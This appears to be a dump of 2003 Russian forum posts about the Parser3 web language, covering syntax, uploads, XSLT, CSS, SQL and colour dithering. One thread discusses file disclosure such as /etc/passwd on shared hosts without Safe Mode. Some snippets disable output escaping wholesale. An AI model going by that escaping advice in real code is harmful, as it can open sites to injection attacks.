6. куча лишних, абсолютно не нужных ^taint[sql][...], наверное так и не понятно, зачем они нужны.\
\
...\
\
смотрел только синтаксис, не вдаваясь в детали реализации, но судя по тому, что там много перепихиваний значений хеша по одному - там и логика страдает...\
"
"12590","Мой провайдер все не здаётся и очевидно очень не хочет заново настраивать группы/юзеров у всех клиентов.\
В частности он хочет знать, зачем именно Parser'у сравнивать группу или пользователя и какие проблемы может повлечь за собой отсутствие Safe Mode.\
Я FAQ прочёл, только пример там довольно туманный. Может кто-нибудь сможет привести конкретный пример, что может произойти, если я установлю Parser без Safe Mode на его сервере.\
Желательно было-бы нечто серьёзное (в смысле последствий), по возможности с ущербом для остальных его клиентов :-)\
\
И ещё: просветите, сравниваются user/group процесса и user/group auto.p или user/group процесса и user/group например index.html, или и то и другое?\
\
Спасибо."
"12591","В случае недостаточной проверки пользовательского ввода может произойти раскрытие системных файлов. В т.ч. информации о других его клиентах :-)\
/etc/passwd - самый простой пример."
"12592","Каким образом можно достать файл находящийся в каталоге, куда процессу Parser'a вход запрещён?\
\
Или я просто плохо себе представляю, о чём идёт речь?"
"12595","обожаем, особенно за проверку синтаксиса...:))) \
\
А злой он не потому, что мне так хочется, а просто он такой по натуре. Он это признает.\
\
Теперь, мне как - оправдываться, или как?\
\
Нет, не стану. Скажу одно - когда Миша отказался просмотреть класс, я просто бросил его реализацию. То, что представлено там - это незаконченная работа, так, как, наш Викторыч не стал нам помогать в оптимизации кода. Вот.\
\
Как будет время - доведу до конца.\
\
P.S. А с хешами там все путем - они заюзаны в редактировании опросов (есть там такая фича)."
"12597","Интересно, почему код:\
\
^if(условие){\
  код\
}{\
  код\
}\
\
работает, а код:\
\
^if(условие)\
{\
  код\
}{\
  код\
}\
\
или:\
\
^if(условие)\
{ \
  код\
}\
{\
  код\
}\
\
не работают ?\
Пока это случайно не узнал, столько времени потратил! А в хелпе ни слова об этом:)\
\
И еще, где метод UPLOAD !\
Неужели средствами Parser3 этого не сделать ?"
"12598","Но ведь для того, что-бы залезть в /etc/passwd нужно сначала залезть в мой webspace и загрузить туда какой-то специальный вид auto.p, а затем обработать её парсером?\
\
Или можно обойтись простым вызовом парсера без дополнительной подготовки?"
"12599","А у вас нет случайно какого-нибудь скрипта демонстрирующего слабость parser'a без safe mode?\
\
Я уже вероятно порядком надоел? Прошу прощения, просто мне очень нравится Parser, уже даже специально хостера поменял, да только всё не везёт. А верстать страницы в PHP уже сил нет ;-)."
"12600","велись дискуссии, поищите/найдёте."
"12601","...был у него глаз! (© Фоменко)\
\
в документации же ясно написано:\
[code]\
^if(логическое выражение){ \
   код, если значение логического выражения \"истина\" \
}{ \
   код, если значение логического выражения \"ложь\" \
} \
[/code]\
а ваши варианты не катят по причине несоответствия их инструкции :)\
хотя, с другой стороны, не совсем понятно, почему лишний перевод строки портит всё дело, сам наступал на эти грабли...\
\
а насчет UPLOAD, опишите конкрктнее, что вы хотите чтобы этот оператор делал, может он уже есть а вы и не заметили? "
"12602","http://www.parser.ru/docs/lang/filesave.htm\
\
Закидываете в форму файл, и сохраняете.\
\
Что же до синтаксиса, придется привыкнуть. Хотя вроде где-то в доке об этом тоже было написано."
"12603","Как быть, если в textarea у меня пробелы обрезаются ?\
P.S. То, что попадает в textarea идет в CDATA\
\
<body>\
<![CDATA[ ... blabla ... ]]>\
</body>"
"12605","Ну и что что написано! У всех языков-скриптов все нормально, пиши как хочешь, у тут как автор сделал, так и пиши. Хотя с другой стороны все будут одинаково писать. Легче чужой код понять будет:)\
\
А по поводу upload. Так такой оператор был в Parser 2, а в третьем исчез. Что там на замену - непонятно."
"12608","Парсер делает оптимизацию по whitespaces при выводе HTML, отключи её и все будет чики пуки"
"12609","Я ж тебе только что написал.\
\
Создай форму:\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"my_file\">\
<input type=\"submit\" value=\"Save file\"> \
[/code]\
\
в обработчике пиши:\
\
[code]\
^if(def $form:my_file){\
^form:my_file.save[binary_или_text;путь/куда/сохранить]\
Файл сохранен...\
}{\
Файл не сохранен...\
}\
[/code]"
"12610","из сгенеренного XML приходит \
[code]\
...\
<body>\
<![CDATA[\
  some text\
     some extra space\
  text\
]]>\
</body>\
...\
[/code]\
\
после XSL трансформа \
[code]\
<textarea name=\"body\" cols=\"90\" rows=\"50\">\
   <xsl:value-of select=\"body\"/>						\
</textarea>	\
[/code]\
\
теряем пробелы перед\
\"some extra space\"\
\
и ничем не лечиться.\
пробовал ч-з <xsl:preserve-space elements=\"body\"/>,\
не помогло, хотел сделать ч-з  <xsl:output cdata-section-elements=\"body\"/>\
читаю в доке парсера : \
[quote]\
Они идентичны атрибутам тега <xsl:output … />, пока за исключением cdata-section-elements.\
[/quote]\
т.е. видимо не работает/не реализовано.\
\
Что делать ?\
\
"
"12611","В корневом auto.p ?\
или XSL transform ?"
"12612","Может ведь быть скрипт, где отображается какой-нибудь файл по запросу?"
"12613","[code]\
@postprocess[buffer]\
^taint[as-is][$buffer]\
[/code]\
Я думаю поймешь что к чему"
"12616","на слово… «upload».\
\
по документации понаставлены сотни ключевых слов, поиск по которым наиболее удобен в .chm, в .pdf они вынесены в конец, в .doc они находятся в <meta> информации, и поиск находит и по ним тоже."
"12617","её можно выключить так:\
[code]\
^untaint[html]{\
    …\
}\
[/code]"
"12618","Саш, нет, это смахивает на:\
\
1. Злостное нарушение прав на зарегистрированный бренд, причём не частным лицом, а [i]in collision[/i];\
2. Умышленное введение в заблуждение потребителей (также, \"по сговору\");\
3. Киберсквоттерство, в конце концов. \
\
За любое из перечисленного надобно бить морду. Впрочем, до битья не дойдёт - получат ребятки в своём Ванкувере (или где они там) факс от юристов Газа с предложением урегулировать спор во внесудебном порядке (т.е. переименовать компанию и отдать домен) и как миленькие с ним согласятся.\
\
Стукачество... Нууу... Я просто едва не пошёл туда работать (точнее, не в сам Газпром, а в Согаз, их \"дочку\"), тем не менее, доброе отношение к конторе сохранил и такие финты воспринимаю отчасти на личном уровне. Так что закатывание наглецов в асфальт восприму \"с чувством глубокого удовлетворения\" :-)"
"12619","Тогда многое становится понятно. Мне так лично пофигу, кто у кого какой домен стырил. Надеюсь мою реплику как личное оскорбление не принимаешь? Просто я не люблю эту американскую черту в людях."
"12620","Как изменить настройки своей учетной записи в форуме ?\
Нажимаю на ссылку НАСТРОЙКИ, а попадаю в форму регистрации, которая успешно сообщает, что пользователь с таким именем есть.\
\
Теперь не могу изменить настройку уведомлений всех сообщений на мэйл."
"12621","Unhandled Exception (Debug)\
bad resulting time (day hole)\
roll\
\
z:/home/abcd.ru/www/_test.html(232)\
\
--------------------------------------------\
roll z:/home/abcd.ru/www/_test.html(232)\
\
#хотя гад, работал три дня назад."
"12622","Или что-нибудь в это роде... Бывает. Посмотри в сорцы. Найди roll и оцени, куда он сдвигает дату."
"12624","К сожалению, переговоры с провайдером не увенчались успехом.\
\
Если возможно, я бы хотел воспользоваться вашим предложением насчёт сборки Parser для Red Hat.\
\
Заранее благодарю,\
Molotoff"
"12625","Не, вы всетаки не то совсем подумали...\
Воть:\
# задание Конфигурационного файла \
ParserConfig x:\\path\\to\\parser3\\config\\auto.p\
это пишут в хелпе. но если на серваке парсер вообще не установлен, то чаво, надо тогда туда все грузить? и конфиг, и библиотеки?"
"12626","Моё мнение -- либо нужно исправить ссылку, либо написать вместо дальше \"11\". Иначе большинство пользователей будут попадаться на удочку. И нажать на 2 довольно сложно, цифра маленькая. \
\
С другой стороны, какая разница -- переходить на 10 при нажатии \"10\" или на 11 при нажатии \"Дальше\". Тогда уж нужно на 20 переходить, [i]но никак не на 11[/i]. \
\
Удачи. "
"12628","Приветствую!\
Не удается мне изменить свои настройки.\
Хотелось бы убрать галочку на уведомлениях о всех сообщениях с формума.\
Надеюсь, кто-нибудь из админов ее удалит.\
Заранее спасибо."
"12629","Хочу все-таки установить версию 007 парсера. Но тут же случается такая ошибка \
parser3.cgi: error in loading shared libraries: libstdc++-libc6.2-2.so.3: cannot open shared object file: No such file or directory\
[Tue Feb  4 09:39:22 2003] [error] [client 213.252.96.154] Premature end of script headers: /home/test_parser/cgi/parser007/parser3.cgi\
\
Может можно эту либу рядом со скриптом положить ? Если можно - киньте мне ее пожайлуста....\
\
PS: Странно, но версия 006 работет отлично....\
"
"12630","Спросите администратора путь к ней."
"12631","там пишут ещё много чего, и совсем необязательно менять настройки сервера. не поленитесь, сядьте и почитайте."
"12632","было выяснено, что несчастье привело к зависимости от этой библиотеки (не должно зависеть)."
"12633","( после консультаций с админом ) версию под Linux Redhat 7.2..."
"12635","Люди извените что не по теме, но может кто мне подскажет.\
\
Пишу bgcolor=#cccccc\
Делаю картинку закрашиваю её тем же цветом, но при 16bit заметна разница, а при 24bit все нормально цвета одинаковые.\
\
Так вот вроди бы #cccccc входит в стандартизируемый набор цветов.\
Почему так получается?"
"12638","я ни кого ни куда не экспортировал. Но знаю, что если ты сохранишь картинку гифом, то и цвета не измянет своего оттенка. В джипегах такое случается, правда не очень понимаю почему."
"12639","Есть идея разместить на сайте статистику по посещениям с поисковиков с указанием поискового запроса.\
Строка запроса есть в $env:HTTP_REFERER, но вот как её от туда \"выдрать\"?\
\
Заранее спасибо!\
"
"12640","Экспортирую его из фотошопа.\
Я заметил разницу!\
Картинка сохраняется в правильном цвете и в правельном показывается, но почему-то bgcolor=#cccccc (я сфотографировал) и оказалось что этот цвет при 16bit кажется через точку двумя цветами, почему не знаю? и хочу узнать."
"12641","там когда делаешь \"Save for web...\" есть много насторек. Неплохо знать, что каждая из них делает."
"12642","Я уже об этом здесь спрашивал.\
Можеш воспользоваться поиском, но если ломает, то знай что эта переменная передается браузером и она появляется только при переходе с какой-то страницы по ссылке, а если набираеш адрес в строке, то её не будет."
"12646","Ты картинку сохранил в гиф. Так? Если да, то откуда 16 bit?"
"12647","У меня есть html страничка.\
Там есть bgcolor=#cccccc\
И там же есть картинка GIF имеющая тотже серый и белый цвет.\
Так вот при 16bit палитре (ЦВЕТОВ ЭКРАНА)\
Картинка отображается в браузере нормально, но bgcolor=#cccccc отображается из 2-ух цветов через точку.\
\
И меня интересует почему?\
Теперь я внятно объяснил?"
"12652","...не пробовал посмотреть на эту картинку в 16-битном цвете видеосистемы каким-либо графическим просмотрщиком/другим броузером?\
\
не виноваты какие-нить загруженые gamma-loader-ы?\
\
можешь выложить страничку с этой картинкой и попросить народ на нее посмотреть. возможно обнаружится, что это фича операционной системы или твоего компа. и в любом случае, мне кажется, что это не есть большая беда."
"12653","дело всё в особенностях 16-битного режима, он уже не [i]indexed[/i], т.е. в его палитру нельзя добавить определенный цвет, но и ещё не [i]true color[/i], т.к. для отображения всех цветов 16 бит нехватает, поэтому некоторых оттенков он попросту не в состоянии воспроизвести. Для примера можно в Win9x с любым браузером зайти на титульную страницу http://www.weblink.ru, и посмотреть как отображается градиент вокруг дельфинов в 16 и 32 бит.\
\
Теперь, собственно, почему видна разница: браузер при выводе страницы пытается исправить недостаток цветов, в случае картинки он пытается подобрать первый похожий по параметрам, а в случае простого HTML он пытается воссоздать исходный цвет при помощи [i]диффузии (dithering)[/i], тут и получается эффект [i]двух цветов через точку[/i]...\
\
Как исправить: при оптимизации для web, фоновый цвет картинки (в вашем случае #cccccc) надо сделать прозрачным, тогда через прозрачные участки будет \"просвечиваться\" фон страницы.\
Либо противоположный вариант, не делать прозрачность, но задать фоновое изображение картинкой цвета #CCCCCC, эффект будет тот же.\
\
Короче говоря, либо всё картинками, либо всё HTML фоном, иначе не сочитается.\
И тему эту надо как-то закрывать...  ;-)  "
"12654","ибо под Win98 этот эффект наблюдается в IE6, Netscape7 и Opera7.\
\
Чтобы представить как это выглядит, нужно из Win9x с любым браузером в режиме 16 бит зайти на, эээ..., ну скажем http://www.egartech.ru/home.asp (первый что пришел в голову, nothing personal... ;), там фон меню и некоторых \"цветастых\" картинок немного выделяется на общем фоне страницы..."
"12655","http://parser.ru/f/1/download/redhat72/parser3_3_0_0007_redhat72_grpunlim_cgi.tar.gz\
http://parser.ru/f/1/download/redhat72/parser3_3_0_0007_redhat72_grpunlim_cgi_xml.tar.gz\
"
"12656","Большое спасибо за ваше время и помошь.\
\
Кстати хостер сегодня написал, что они вообще пользуются не suEXEC, а какой-то другой системой и при этом обходятся без /etc/passwd.\
Так что на его взгляд им ничего не грозит.\
Ну и ладно :-)"
"12658","Наверное это фича твоего браузера. Миша дело говорит, сядь за другой комп или проверь цветовые профили."
"12662","На верхней картинке просто мусор\
На нижней серый цвет #D0D0D0 ;-)"
"12664","http://www.theatre.ru/luzhnikovskiy/shit.gif"
"12667","Например, сначение $env:REFERER имеет вид\
[code]\
http://parser.ru/forum/?terms=%EF%EE%E8%F1%EA%EE%E2&searchInMessage=1&author=&doSearch=%CD%E0%E9%F2%E8\
[/code]\
Каким матчем выбрать значение \"terms\"?\
\
"
"12668","Прочти http://spectator.ru/issues/291 и перепиши тамошний пример на парсере..."
"12669","Кстати говоря, если речь о кириллице, то параметры могут быть минимум в трёх разных кодировках."
"12673","как оказалось, bug возникает, если этому .pl передаются некие данные на stdin, а он их не хочет принимать [не нужны они ему].\
\
вот как явно задать «не передавать скрипту в stdin ничего»:\
[code]\
^file::exec[имя;\
    $.stdin[]\
    …\
]\
[/code]\
\
я подумаю, что можно сделать.\
\
[quote]\
Внимание: при обработке HTTP POST запроса, если не задан $.stdin[…], в стандартном потоке ввода скрипту будут переданы данные из POST запроса. \
[/quote]\
http://parser.ru/docs/lang/filecgiexec.htm\
"
"12674","Миша, а можно ли прикрутить к этому форуму экспорт в RSS-ленту последних реплик в форуме, как я сделал на своём форуме: http://forum.gfk.ru/forum/message.html?id=17641&setdesign=new - так было бы удобнее..."
"12676","если сообщишь, и это окажется не сложно - прикручу.\
\
работы и так дофига :("
"12677","интересно, а подписка с включённым в outlook express\
   View|Current view|Group messages by conversation\
чем неудобна?\
\
но планируем NNTP, он мне представляется удобнее dialup пользователям, которые недавно присоединились, и хотят почитать немного предыстории.\
\
впрочем, какой удобный reader, подерживающий rss, посоветуете?"
"12678","как это будет реализовано програмно? ну конечно не текст на С++,\
а так в общих чертах, просто интересно\
"
"12679","По уроку 4:\
Форма администрирования у меня работает нормально. Новые записи добавляются. А в новостях не выводятся. Подключается так:\
@auto[] \
$connect_string[mysql://root:password@localhost/p3test]\
\
@dbconnect[code] \
^connect[$connect_string]{$code}"
"12680","Помогите, пишу форум по методу http://www.parser.ru/examples/trees/; в форуме используются те самые thread_id, упомянутые в способе.\
\
Насколько я понял, для корневых сообщенияй в этом поле лежит их собственный номер (forum_message_id)\
Вся проблема в том, что не могу догадаться, как получить это номер сразу, не выполняя три естественных запроса:\
Вставить сообщение, выполнить last_insert_id, и третьим запросом обновить поле thread_id и поставить метку в is_published!\
Может кто уже сталкивался с подобной проблемой?"
"12682","добавление данных - редкая операция, кроме того, это очень быстрые запросы, не таскающие кучу данных.\
\
в принципе, можно врорым запросом сделать update ... set thread_id = id where id = last_insert_id(), но ведь тебе для дальнейших операций все равно потребуется этот id (чтобы сохранить, например, тело сообщения).\
\
is_published лучше вообще не обновлять таким образом, а сделать это поле default 1 (в том случае, если в основном записи после добавления бывают опубликоваными)"
"12683","Пиши код вывода новостей правильно..."
"12684","Спасибо, именно так (update ... set thread_id = id where id = last_insert_id) и сделаю.\
Тело сообщения я пишу сразу, потом получаю из нее last_insert_id которое потом заношу в forum_message_body_id.\
Получается 3 подзапроса для корневых, 2 для всех остальных."
"12685","Можно ли методами парсер выровнять выводимый текст по правому полю?"
"12687","только зачем это надо, если это можно в plain HTML без проблем сделать:\
[code]<div align=\"right\">приколись, братва, как я могу...</div>[/code]\
\
а если из принципа надо всё \"выровнять на сервере\", то лучше использовать XML/XSLT, чтобы \"спагетти-кода\" не получилось...  ;-)"
"12688","Мне нужно выровнять текст как по правому так и по левому полям одновременно."
"12690","Читал, читал, ничего не понял.\
Скажите пожалуйста\
\
Как мне, допустим, сделать так, чтобы при клике по ссылке отправлялось вот такое письмо\
\
^mail:send[ \
      $.from[Вася <vasya@hotmail.ru>] \
      $.to[Петя <petya@hotmail.ru>] \
      $.subject[как дела] \
      $.text[Как у тебя дела? У меня - изумительно!] \
] "
"12691","О! nntp это круто, я ЗА."
"12692",":-) ну даёшь. вообще программированием занимался когда-нибудь?\
делаешь ссылку, например sendmail.htm\
и в этом файле вставляешь свой код, т.е.\
^mail:send..."
"12693","Есть слежующий код, которые проверяет, есть ли уже такой аккаунт в БД, и, если есть, то выкидывает ошибку... Дык, вот вопрос: неважно, какое значение у $cnt в итоге, все равно выдается ошибка. Хотя, вроде, при $cnt == 0 такого быть не должно...\
\
$cnt(^int:sql{\
	SELECT\
		count(account.id)\
	FROM\
		account\
	WHERE\
		account.name = '$form:authName'\
}[$.limit(1)])\
if($cnt > 0){\
	$registerError[Ошибка! Пользователь с таким именем уже существует. ($cnt)]\
	$result(0)\
}{\
# хочу сюда\
}\
\
У кого-нть есть идеи, как пофиксить?"
"12694","[code]\
$cnt(^int:sql{\
	SELECT\
		account.id\
	FROM\
		account\
	WHERE\
	account.name = '$form:authName'\
}[$.limit(1)])\
if($cnt){\
	$registerError[??????! ???????????? ? ????? ?????? ??? ??????????. ($cnt)]\
	$result(0)\
}{\
# ???? ????\
}\
[/code]"
"12695","сказать тексту, по правому краю равняйсь!\
если по ширине то align=\"justify\", но лучше через CSS text-align: justify"
"12696","[code]\
$cnt(^int:sql{\
	SELECT\
	      account.id\
	FROM\
		account\
	WHERE\
		account.name = '^untaint[sql]{$form:authName}'\
}[$.default{0}])\
if($cnt > 0){\
	$registerError[Ошибка! Пользователь с таким именем уже существует. ($cnt)]\
	$result(0)\
}{\
	all done fine.\
}\
[/code]"
"12697","я бы даже сказал, просто фиговый. Давайте взглянем в DTD стандарта HTML 4.01:\
[code]\
<!ELEMENT DIV - - (%flow;)*            -- generic language/style container -->\
<!ATTLIST DIV\
  %attrs;                              -- %coreattrs, %i18n, %events --\
  %reserved;                           -- reserved for possible future use --\
  >\
\
<!--=================== Generic Attributes ===============================-->\
\
<!ENTITY % coreattrs\
 \"id          ID             #IMPLIED  -- document-wide unique id --\
  class       CDATA          #IMPLIED  -- space-separated list of classes --\
  style       %StyleSheet;   #IMPLIED  -- associated style info --\
  title       %Text;         #IMPLIED  -- advisory title --\"\
  >\
\
<!ENTITY % i18n\
 \"lang        %LanguageCode; #IMPLIED  -- language code --\
  dir         (ltr|rtl)      #IMPLIED  -- direction for weak/neutral text --\"\
  >\
\
<!ENTITY % events\
 \"onclick     %Script;       #IMPLIED  -- a pointer button was clicked --\
  ondblclick  %Script;       #IMPLIED  -- a pointer button was double clicked--\
  onmousedown %Script;       #IMPLIED  -- a pointer button was pressed down --\
  onmouseup   %Script;       #IMPLIED  -- a pointer button was released --\
  onmouseover %Script;       #IMPLIED  -- a pointer was moved onto --\
  onmousemove %Script;       #IMPLIED  -- a pointer was moved within --\
  onmouseout  %Script;       #IMPLIED  -- a pointer was moved away --\
  onkeypress  %Script;       #IMPLIED  -- a key was pressed and released --\
  onkeydown   %Script;       #IMPLIED  -- a key was pressed down --\
  onkeyup     %Script;       #IMPLIED  -- a key was released --\"\
  >\
[/code]\
тут видно что у div нет атрибута align, короче говоря он deprecated, и лучше это дело делать через CSS"
"12698","[code]\
$cnt(^int:sql{\
SELECT\
      account.id\
FROM\
account\
WHERE\
account.name = '^untaint[sql]{$form:authName}'\
}[$.default{0}])\
if(def $cnt){\
$registerError[Ошибка! Пользователь с таким именем уже существует. ($cnt)]\
$result(0)\
}{\
all done fine.\
}\
[/code]"
"12699","^untaint[sql]{$form:authName} - так ненужно можно просто $form:authName"
"12700","Не хочет... думаю, из-за следующего кусочка:\
[code]$.default{0}[/code]\
$.default{0}"
"12702","Забыл [code]^[/code] перед [code]if[/code] поставить... ;("
"12704","со временем возьмусь и сам, просто вдруг кому хочется применить свои умения на пользу сообществу?"
"12705","а за что браться-то? :-) я не провайдер, у меня нету серверов. думаю, как и у большинства других здесь."
"12706","никогда не забывайте о параллельных запросах.\
\
ваша проверка не унарна, посему на базах данных, не поддерживающих транзакций[в mysql драйвер пока нет поддержки транзакций, которые есть в типах таблиц не по-умолчанию, например, BerkleyDB&InnoDB], она [b]может[/b] работать неправильно.\
\
по закону Мерфи, [b]это случится[/b] тогда, когда на вашу работу будет смотреть клиент.\
\
подумайте:\
\
два человека одновременно регистрируются в системе:\
оба одновременно выполняют запрос select, который говорит обоим «0 ребята, пользователя такого нет», после чего они дружно добавляют… одноимённого.\
\
диагноз: \
\
в данном случае: \
используйте unique index на это поле. и смело делайте insert. кто-то сделает insert раньше (все базы данных это гарантируют), второму выдастся ошибка, перехватите её, и сообщите о проблеме пользователю.\
\
вообще: \
бывают случаи, когда нужно сделать много действий обязательно одним куском, т.е. чтобы параллельно [b]никто[/b] не делала того же самого, для этого в базах, не поддерживающих транзакций, есть способ явной блокировки таблиц, будете делать что-то подобное, почитайте соответствующую главу. в mysql документации имеется забавная глава с названием «почему транзакции не нужны».\
\
в базах данных, где транзакции поддерживаются:\
подобный код будет работать, поскольку в parser ^connect это одна транзакция, которую parser commit'ит, если {в коде внутри connect} не произошло необработанной ошибки. была ошибка?: транзакция rolled back.\
\
не более, чем «будет работать», менее некрасивой она от этого не становится :)"
"12707","Ну может не такой и фиговый, но по любому лучше подобное делать через CSS.\
И не потому что стандарт, а просто спагетти в коде меньше будет ;-)"
"12708","зачем вам тогда parser?\
и зачем nntp?\
\
буквально: за написание нужного всем класса на C++, который я добавлю в parser, и которым можно будет воспользоваться для реализации того же NNTP."
"12709","PS 5.5 я не выкину, а дело даже не в картинке, её то я могу исправить, дело в том (меня интересует как выглядит bgcolor таблицы который должен быть #cccccc) при 16bit у меня он через точку, а как на других ОС'ах (у меня 98)"
"12710","мне показали пальцем где я облажался и я переделал.\
\
вовсе незачем в таблице с телом сообщения столбец с его id делать auto_increment.\
\
правильнее назвать его тоже forum_message_id и поставить на него unique index, и писать туда ту-же id, которую мы получаем после добавления заголовка сообщения."
"12711","может твой редактор ее так криво генерит (хакеры перестарались) может еще что.\
\
но тот гиф, что ты выложил - херовый. и дело именно в этом."
"12712","через какую точку? #cccccc он и в Африке #cccccc"
"12714","используя Outlook Express и т.д."
"12715","просто может неправильно выразился, и был неправильно понят :)"
"12716","смотреть надо на нижнюю картинку, это оригинал, верхняя картинка - это увеличенная копия, как я понимаю, демонстрирующая собственно проблему.\
Мусор на картинке появился по причине того, что тов. Demon делал скриншот в режиме 16 бит, и на и без того испорченный экспонат ёще раз наложилась диффузия.\
\
Подробнее о проблеме я уже [url=\"http://www.parser.ru/forum/?id=12653\"]писал[/url], немного напутал, как ни странно диффузится именно фоновый цвет, не картинка, но принцип тот-же, как и решение проблемы. Судя по всему это фича Win 9x, ибо в Win2k и на Маке всё пучком.\
\
И напоследок, непонятно почему подобные вопросы задаются именно здесь, ведь есть же xpoint.ru, netdesigner.ru, куча других форумов о HTML и графике...  :-/"
"12717","Как сделать, чтобы ссылки выводились без подчеркивания?"
"12718","Скинь плиз, если возможно"
"12719","http://parser.ru/f/1/download/freebsd/parser3_3_0_0007_sp1_freebsd47R_cgi.tar.gz\
\
http://parser.ru/f/1/download/freebsd/parser3_3_0_0007_sp1_freebsd47R_cgi_xml.tar.gz\
[имейте в виду, что здесь использованы последние версии xml библиотек, если кто использует блоки CDATA с буквами < > & внутри, перечитайте стандарт в части <xsl:text disable-output-escaping=\"yes\">"
"12720","Как в парсере вывести запрос к базе данных MySQL?\
В самой MySQL он выглядит так:\
select header, body\
 from news;"
"12721","знаю, но отвечать не буду ибо это банально и не в тему"
"12723","во первых, можно было написать что к чему, я смотрел на верхнюю картинку.\
\
во вторых, нижняя картинка, как мне показывает мой фотошоп залита не CCCCCC а CFCFCF и выглядит у меня криво в 32-битном цвете, а в 16-битном все ок.\
\
в третих, http://parser.ru/_t.html - тут картинка с цветом CCCCCC и бэкграунд CCCCCC и выглядит нормально и в 16-битном разрешении экрана и в 32-х битном.\
\
если я чего-то опять не понял - извините, так объясняли.\
\
P.S. w2k + sp3, смотрел в opera7 + photoshop 7.0\
\
"
"12724","Антон, в документации подробно рассмотрена работа с базой с примерами.\
\
1. чего вы не поняли?\
2. приведите неработающий код, с указанием сообщения об ошибке [copy/paste его]\
"
"12725","Почему это нет. У меня в HTML tags Reference следующее описание тэга div : \
\
<DIV\
ALIGN=CENTER | LEFT | RIGHT\
CLASS=string\
ID=string\
LANG=string\
LANGUAGE=JAVASCRIPT | JSCRIPT | VBS | VBSCRIPT\
STYLE=string\
TITLE=string\
event = script\
>\
\
Как видим, аттрибут align присутствует."
"12726","Все в тему. Но спрашиваю я ведь не для того чтобы меня отправляли к документации. Тем более, что CSS я не знаю."
"12727","Вообще-то вопрос по 4 уроку :( Код такой:\
$day(^if(def $form:day){ \
   $form:day \
}{ \
   $now.day \
}) \
^connect[$connect_string]{ \
   $news[^table::sql{select \
       date, header, body  \
   from \
      news  \
   where \
      date='${now.year}-${now.month}-$day' \
   }] \
   ^if($news){ \
      ^news.menu{ \
         <b>$news.date - $news.header</b><br> \
         ^untaint{$news.body}<br> \
      }[<br>] \
   }{ \
      За указанный период новостей не найдено. \
   } \
} "
"12729","http://www.w3.org/TR/html4/strict.dtd"
"12730","проверьте себя: на сколько вопросов ответили?"
"12731","дело то ведь нужно, коль вы взялись за сайтостроительство. Подумайте также над этим: http://parser.ru/forum/?id=12724"
"12733","Да я внимательный :)))\
1. Об ошибке ничего не пишет и новости не находят хотя записи есть я проверял.\
2. Не такой уж я и ленивый. Над кодом повсякому издевался, но ничего не оплучалось.\
3. Вопрос немного изменю:\
Как парсере построить таблицу с запросом к news:\
select header, body  from news where date=\"2003-2-04\";"
"12734","... если .xsl внешний файл?\
\
Я сейчас делаю так:\
[code]\
$xsl_file[^file::load[text;/../xsl/table.xsl]]\
$xsl_p[^process{$xsl_file.text}]\
$xsl_p_d[^xdoc::create{$xsl_p}]\
$trans[^xTable.transform[$xsl_p_d]]\
$result[^trans.string[$.method[html]]]\
[/code]\
\
И несколько вопросов:\
1. Это единственный вариант, или можно лучше?\
2. Какие могут быть подводные камни? Кроме необходимости экранировать $, на что ещё можно наткунться?"
"12736","не все телепаты, догадаться до того, что тут вот поясняете [b]нельзя[/b], а писать с самого начала не хотите.\
\
буквальный ответ: вы всё делаете правильно. \
\
а если не получаете ошибки ни от parser ни от базы, значит\
\
в базе просто нет записей, подпадающих под ваш where.\
возможно, в базе поле типа date time, и не совпадает время?\
\
"
"12737","ОК, тогда вопрос:\
\
файл /styles/menu_link_style.css\
<style>\
a:link {color:red} \
a:link {text-decoration:none}\
</style>\
\
в auto.p есть строка для подключения этого файла:\
<link rel=\"stylesheet\" type=\"text/css\" href=\"/styles/menu_link_style.css\">\
\
использую тэг <A> в выводе меню\
@navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
^if($sections.uri eq $request:uri){\
	<td width=\"$cell_width\" align=\"middle\">\
	<nobr><strong><font color=\"999999\">$sections.name</font><strong></nobr>\
	</td>\
}{	<td width=\"$cell_width\" align=\"middle\">\
	<a href=\"$sections.uri\">$sections.name</a>\
	</td>\
}\
\
Ничего не работает.Почему?\
\
"
"12738","Не так выразился я.\
Насчёт отправки мыла с другой страницы мне всё понятно.\
А как насчёт того, чтобы никакая  страница sendmail.htm не открывалась а всё отправлялось с исходной."
"12740","Что же это за лажа в Win98 при 16bit\
Как с этим бороться?:(\
\
Можно прозрачностью, но иногда бывают ситуации в которых это не помогает.\
\
Довай внесем ясность, у тебя какая ОС, какая палитра и из какого браузера смотриш, если там все нормально, хотя я в этом не уверен."
"12741","http://parser.ru/forum/?id=12723\
\
[quot]\
в третих, http://parser.ru/_t.html - тут картинка с цветом CCCCCC и бэкграунд CCCCCC и [b]выглядит нормально и в 16-битном разрешении экрана и в 32-х битном.[/b]\
\
...\
\
P.S. w2k + sp3, смотрел в opera7 + photoshop 7.0\
[/quot]\
\
вы как хотите, а я дискуссию заканчиваю."
"12742","[code]\
<style>\
a {\
color: red; \
text-decoration: none\
}\
</style>\
[/code]"
"12743","А я то думал, что вписываясь в таблицу безопасных цветов мне удастся избежать подобных проблем:("
"12744","Все равно не получается, мне кажется дело не в этом."
"12745","т.е. он не подключается из auto.p"
"12746","1. PC и Windows [b]никогда[/b] не умели работать с цветами. Любой продукт от Microsoft поступает с цветами так, как считает нужным сам лично. Посему, я не удивлен уродскому изображению.\
\
Мораль: а не сменить ли платформу? На макинтош ;-)\
Если же говорить серьезно, MSIE-MacOSX валится на i.gif при любом числе цветов экрана даже со включенным ColorSync (более того, с ним влюченным ломается даже заведомо хорошее - белый в белый не всегда попадает, что уж говорить о проблемном сером). Любой другой браузер рисует честно и \"как надо\". Почему маковый IE отображает правильно картинку Миши - чуть ниже.\
\
2. У gif существует палитра, в которой должны находиться только [b]нужные[/b] цвета. В картинке i.gif палитра 16-цветная, у Миши - 4-цветня. При отрисовке браузер имеет право смело взять любой  цвет из палитры gif в случае, если в палитре окна не найден нужный. Шансы, что он возьмет мимо при 16 цветах больше на порядок, чем при 4.\
\
Мораль: занимаясь оптимизацией, делать все надо с умом."
"12747","в @header у меня есть строка:\
<link rel=\"stylesheet\" type=\"text/css\" href=\"/styles/menu_link_style.css\">\
\
т. е. как видите файл со стилями подключается"
"12748","надеюсь знаете как в браузере посмотреть HTML код"
"12749","Можно перезагрузить эту страницу на page.html?send=yes и детектить $form:send.\
Чем отличается от посылки на sendmail.html непонятно ...\
\
Можно посылать javascript'ом - смотри http://orfo.dklab.ru/orfo.js"
"12751","Обижаете:\
\
<html>\
<head>\
<title>Гуманитарный факультет НАУ им. Н. Е. Жуковского \"ХАИ\"</title>\
</head>\
